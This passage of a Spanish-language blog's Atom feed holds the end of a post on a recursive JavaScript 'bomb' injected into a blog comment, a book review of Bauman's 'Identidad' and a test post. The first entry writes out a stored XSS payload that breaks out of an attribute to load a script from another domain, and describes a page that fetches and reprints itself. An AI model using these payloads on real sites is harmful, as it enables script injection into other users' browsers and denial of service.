style=""&gt;.&lt;/span&gt;send&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;null&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;&amp;lt;&lt;/span&gt;&lt;span style=""&gt;/&lt;/span&gt;script&lt;span style=""&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;El efecto es que cuando el comentario esta cargado y se mira la página entonces la página pide otra copia de si misma al servidor y la imprime, siendo la copia (que incluye el código JavaScript) evaluada nuevamente de manera recursiva. La página se imprime dos veces para tratar de lograr un efecto exponencial, sin mucho exito creo.&lt;br /&gt;&lt;br /&gt;Si la inyección puede ser mostrada en la página principal se puede meter '/' en la página y tener una bomba más genérica.&lt;br /&gt;&lt;br /&gt;Ver el resultado en este &lt;a href="http://titotitotito.obolog.com/octavo-77252"&gt;comentario&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Como me ilustra mi amigo &lt;a href="http://aurelianito.blogspot.com/"&gt;aurelianito&lt;/a&gt;, en realidad se puede hacer mucho más porque se puede incluir un archivo JavaScript completo de otro dominio usando algun truco básico como. Se nota que soy super lamer.&lt;br /&gt;&lt;br /&gt;&lt;rep&gt;&lt;br /&gt;"&amp;gt;&amp;lt;script src=http://subdom.site.com/js.js&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;noscript&amp;gt;&lt;br /&gt;&lt;/rep&gt;&lt;br /&gt;&lt;br /&gt;Entonces la cuestión se pone mucho más peligrosa ahora. El truco este del &lt;span style="font-style: italic;"&gt;src &lt;/span&gt;fue extraido del artículo &lt;a href="http://www.xssed.com/article/1/Paper_Anatomy_of_a_Pseudo-Reflective_Worm/"&gt;Anatomy of a "Pseudo-Reflective" Worm&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-3809508086604373499?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/3809508086604373499/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2008/04/super-lamer-javascript-bomb.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/3809508086604373499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/3809508086604373499'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2008/04/super-lamer-javascript-bomb.html' title='Super Lamer JavaScript Bomb'/><author><name>termo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-2690281353856656264</id><published>2008-03-29T19:22:00.000-07:00</published><updated>2010-07-25T20:34:57.241-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='filosofia'/><category scheme='http://www.blogger.com/atom/ns#' term='identidad'/><category scheme='http://www.blogger.com/atom/ns#' term='bauman'/><title type='text'>Identidad, de Zygmunt Bauman</title><content type='html'>&lt;div style="text-align: justify;"&gt;Voy a comentar brevemente este libro de filosofía escrito por un sociólogo polaco/británico que acabo de leer (1ra edición, Buenos Aires: Losada 2005).&lt;br /&gt;&lt;br /&gt;La verdad me gusto bastante. Esta escrito en forma de entrevista, la preguntas son fórmuladas por Benedetto Vecchi desde Italia, por correo, y son respondidas por Bauman extensamente.&lt;br /&gt;&lt;br /&gt;La verdad no le tenía mucha fe porque es bastante posmoderno como filosófo, es decir, desconfía de la ciencia y de la técnica, y tiene un pulso más bien literario o pseudo-filosófico que filosófico. Pero en general la preguntas del entrevistador trataron de ser concisas, incidiendo sobre la temática de las naciones, estados, identidades y globalización.&lt;br /&gt;&lt;br /&gt;Sospecho que las respuestas tienen cierto tratamiento estándar filosófico posmoderno de ciertos temas, como por ejemplo, decir  que los  individuos en los tiempos que corren se ven en una acelerada alienación frente a la necesidad de competir para ser exitosos/sobrevivir. Después hace también una crítica a los militantes anti-globalización cuando dice que no se pueden fabricar soluciones locales a un problema global, contradiciendo el lema de los mismos. A pesar de todo esto, se nota que me sorprendieron en el buen sentido muchas cosas porque no estoy familiarizado con los posmodernos. Es interesante, el análisis que hace de la guerra de Yugoslavia como una situación de el desmembramiento de un país generó una guerra de etnias que buscaron identificarse que algo ante el vació de identidad imperante en ese momento. Finalmente un extracto curioso donde nombra al Silicon Valley, acerca de las instituciones y la pertenencia:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Al mismo tiempo, si la duración promedio de un contrato laboral ("proyecto") en las unidades de alta tecnología más avanzadas de lugares tan admirados como Silicon Valley es de ocho meses, esa solidaridad de grupo que solía proporcionar el caldo de cultivo de la democracia no tiene tiempo de hechar raíces ni de madurar. Hay pocos motivos para esperar reciprocidad en la lealtad que uno profesa a un grupo o a una organización. Es poco aconsejable ("irracional") brindar semejante lealtad a crédito cuando es improbable que le paguen a uno con la misma moneda.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-2690281353856656264?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/2690281353856656264/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2008/03/identidad-de-zygmunt-bauman.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/2690281353856656264'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/2690281353856656264'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2008/03/identidad-de-zygmunt-bauman.html' title='Identidad, de Zygmunt Bauman'/><author><name>termo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-720528182122461452</id><published>2008-01-03T12:08:00.000-08:00</published><updated>2008-12-14T02:01:10.824-08:00</updated><title type='text'>Test</title><content type='html'>Hello world!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-720528182122461452?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/720528182122461452/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2008/01/test.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/720528182122461452'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/720528182122461452'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2008/01/test.html' title='Test'/><author><name>termo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
